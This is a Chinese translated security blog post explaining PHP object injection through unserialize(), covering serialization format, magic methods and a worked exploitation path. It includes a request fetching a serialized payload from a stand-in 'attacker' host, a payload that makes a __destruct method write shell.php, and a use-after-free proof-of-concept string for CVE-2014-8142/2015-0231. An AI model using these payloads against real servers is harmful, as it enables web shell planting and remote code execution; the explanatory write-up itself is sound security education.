通过PHP反序列化进行远程代码执行

2015-09-30 792077人围观 ,发现 7 个不明物体 WEB安全漏洞

0×00 前言

在NotSoSecure,我们每日都会进行渗透测试或代码审查,不过最近我们遇到了一段有趣的PHP代码,它可能会导致远程代码执行(RCE)漏洞,但对它进行利用却有点棘手。

在经历了几个试图破解这段代码的不眠之夜后,我们确信利用这个漏洞可以同时进行应用级和系统级别的代码执行。这篇来自Rahul Sasi的博文将讲解关于该漏洞的一些信息,以及如何对其进行利用。

0×01 包含漏洞的代码

在上面的代码中,用户控制的值可能会被传递给PHP的反序列化函数。在用户提供的输入未进行适当处理就传递给函数unserialize()时,此时就有可能导致该漏洞的发生。由于PHP中允许对象序列化,所以攻击者可以通过将特殊的序列化字符串传递到一个脆弱的unserialization()调用中,以此导致一个任意的PHP对象注入到应用程序范围中。在我们的代码中,应用程序接收一个文件名,接着使用PHP中的file_get_contents函数读取内容。然后,将输出内容输入到PHP的反序列化模块。之前已经提到,上面的漏洞可以同时进行应用级和系统级别的代码执行,所以接下来我们将深入分析该漏洞。

 

为了成功地利用上述漏洞,必须满足三个条件:

1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。

3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。

参考: https://www.owasp.org/index.php/PHP_Object_Injection

在上面的场景中,条件1和条件2是为了满足于漏洞利用。但是,因为反序列化操作的输入值来自于PHP中file_get_contents读取的一个文件,所以对该漏洞的利用有些棘手。

如果开启了allow_url_fopen(最新的PHP版本默认禁用),那么PHP函数file_get_contents可以接收远程URL作为其参数。在这种情况下,攻击者可以向该函数中输入一个包含一个恶意文件的URL,该文件中包含了序列化的植入于一个远程服务器上的恶意数据。

http://vul-server/unsearilize.php?session_filename=http://attacker/exp.txt

0×02 exp.txt内容

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}

但不幸的是,我们测试的应用程序中并没有开启allow_url_fopen。注意:包含一个/proc/self/environ这样的文件或者任何类似的内容(例如访问日志)都不可能,因为序列化字符串不应该包含垃圾数据。所以,我们的文件应该只包含用于漏洞利用的序列化数据。

在讲解如何利用上面的代码之前,我们先解释一些有关PHP对象注入利用的知识,并分析上面的载荷(payload)到底做了什么。

0×03 PHP对象注入

基于PHP反序列化的安全问题首先在2009年由Stefan Esser记录。目前,基于JSON的应用序列化模块使用量明显增多,所以让我们深入了解一下序列化模块。

0×04 PHP序列化

为了在一个数组中保存内容,PHP中会调用一个函数serialize(),它接收一个给定的数组作为输入参数,并能够将数组的内容转换成正常的字符串,然后你就可以将字符串内容保存在一个文件中,也可以作为URL的一个输入值,等等。

参考: http://www.hackingwithphp.com/5/11/0/saving-arrays

接下来,下图中序列化一个包含3个字符的字符串数组。

理解序列化的字符串:

a:3{               Array of 3 values
   
i:0                Integer, value [ index-0]
   
S:5:”Lorem”      String, 5 chars long, string value “Lorem”
   
i:1                Integer, value [index-1]
   
S:5:”Ipsum”      String , 5 chars long, string value “Ipsum”
   
i:2                Integer, value [index-2]
   
S:5:”Dolor”      String , 5 chars long, string value “Dolor”

0×05 PHP反序列化

unserialization()是serialize()的相反操作函数。它需要一个序列化的字符串作为其输入,并将其转换回一个数组对象。另外,考虑到对象实例化和自动加载,反序列化可能会导致代码被加载并被执行。

例子:

value=‘a:1:{s:4:"Test";s:17:"Unserializationhere!";}’
unserialization($value);

0×06 PHP自动载入

在PHP中,我们可以定义一些特殊函数,它们可以被自动地调用,所以这些函数不需要函数调用来执行它们里面的代码。考虑到这个特性,这些函数通常被称为魔幻函数或魔幻方法。PHP魔幻方法名称受限于PHP所支持的部分关键字,例如construct、destruct等等。

此外,最常用的魔幻函数是__construct(),因为PHP版本5中,__construct方法实际上是你所定义的类的构造函数。对于一个给定的类,如果PHP 5找不到__construct()函数,那么它将搜索一个与类名字相同的函数,这是PHP中编写构造器的老方法,这种方法中你只需要定义一个名字与类名相同的函数。

下面是PHP中的一些魔幻函数:

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().

下面是PHP中的一些魔幻方法:

Exception::__toString
ErrorException::__toString
DateTime::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
LogicException::__toString
BadFunctionCallException::__toString
BadMethodCallException::__toString
DomainException::__toString
InvalidArgumentException::__toString
LengthException::__toString
OutOfRangeException::__toString
RuntimeException::__toString

参考:http://www.programmerinterview.com/index.php/php-questions/php-what-are-magic-functions/

0×07 对象实例化

实例化是指:当通过在内存中创建类的一个实例时,一个类的具体化就变成了一个对象。所以,当你真正调用new class()时,class()就成为了一个实例化的对象。当你反序列化一个字符串时,而这正是PHP所做的(对象实例化),就会将一个字符串的数组转换成对象。反序列化对象允许控制所有属性:public、protected和private。然而,反序列化对象通过__wakeup()苏醒,后来通过__destruct()被销毁,因此这些(wakeup、destruct)魔幻函数中已经存在的代码将会得到执行。

参考:http://www.nds.rub.de/media/nds/attachments/files/2011/02/RUB2011-SecurityProblemsInWebApplicationsExceptInjectionVulnerabilities.pdf

所以,我们需要找到_destruct或_wakeup内定义的现有可用的代码,然后劫持应用程序的流程。

在我们脆弱的程序中,__destruct函数中包含一个函数file_put_contents:

所以我们的有效载荷(payload)看起来是这样的:

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}
 
O:3{:                            [ Object, takes 3 parameter with name foo]
   
”foo”: 2:{                     [Parameter foo takes 2 values]
   
S:4:”file”;s:9:”shell.php”;  [String, 4 chars long, value “file”, string 9 chars long, value
                                  shell.php]
   
s:4:”data”;s:5:”aaaa”;}      String, 4 chars long, string 5 chars long, value”aaaa”

所以当我们上面输入的是反序列化的字符串时,它允许控制类“foo”的属性。因此,魔幻方法“__destruct”中存在的代码将会以我们控制的值来执行,在我们的例子中为file_put_contents,创建一个文件“shell.php”。

0×08 漏洞利用

在我们的例子中,因为输入到unserialization()函数的是内容是从file_get_contents中读取的文件。

$file_name = $_GET['session_filename'];
unserialization(file_get_contents($file ));

所以,我们尝试的其中一件事就是,找到一个方法来将exp.txt存放在服务器上。为此,我们必须找到一个文件/图片上传功能,然后以序列化的有效载荷上传该文件。然后,我们要做的就是以下面的方式触发。

http://vul-server/unsearilize.php?session_filename=images/exp.txt

使用CVE-2014-8142和CVE-2015-0231可以进行系统级远程代码执行:

“Use-after-free漏洞存在于ext/standard/var_Unserializationr.re中的函数process_nested_data内,该漏洞存在于PHP 5.4.36的之前版本、5.5.20之前的5.5.x版本以及5.6.4之前的5.6 x版本中,它允许远程攻击者通过一个精心编制的反序列化调用执行任意代码,因为在一个对象的序列化属性中,这个调用影响到了对重复键的不适当处理。”

https://bugs.php.net/bug.php?id=68710

上面的漏洞影响核心PHP unsearilize函数,这个POC由Stefan Esser发布,我们曾试图优化并利用该漏洞使代码执行成为可能,因为如果成功地进行了利用,那么将可以做到系统级的远程代码执行。

0×09 PHP+Apache安全架构

这些图已经足以详细解释PHP架构。

1)如果我们可以在PHP中的上下文执行代码,那么我们将可以打破许多限制。

2)应该能够通过shell访问加固的PHP主机。

我的工作仍然集中于这方面,并且我发现“Tim Michaud”在相同的网站上也能工作。我们将很快更新这篇博文。

http://[IP]/unsearilize_rce_poc.php?s=O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:50:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11111111111";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';

 

0x0A 参考资料

1、http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html

2、https://www.alertlogic.com/blog/writing-exploits-for-exotic-bug-classes

3、http://php-autoloader.malkusch.de/en

4、https://hakre.wordpress.com/2013/02/10/php-autoload-invalid-classname-injection

5、http://security.stackexchange.com/questions/77549/is-php-Unserialization-exploitable-without-any-interesting-

6、http://xahlee.info/php-doc/

7、http://phppot.com/php/php-magic-methods

8、http://php.net/manual/en/

9、http://stackoverflow.com/questions/11630341/real-time-use-of-php-magic-methods-sleep-and-wakeup

*参考来源:notsosecure,FB小编JackFree编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)

这些评论亮了

  • xxo 回复
    首先,你得找到有定义这些函数,并且这些函数有文件操作的代码的系统,你拿个故意有漏洞的代码写,当然有问题了,你咋不直接写个eval
    )14( 亮了
  • Linger (2级) 回复
    算是看懂了,只不过需要“找到一个方法来将exp.txt存放在服务器上”就可以了 :mrgreen: :mrgreen:
    )7( 亮了
发表评论

已有 7 条评论

取消
Loading...
css.php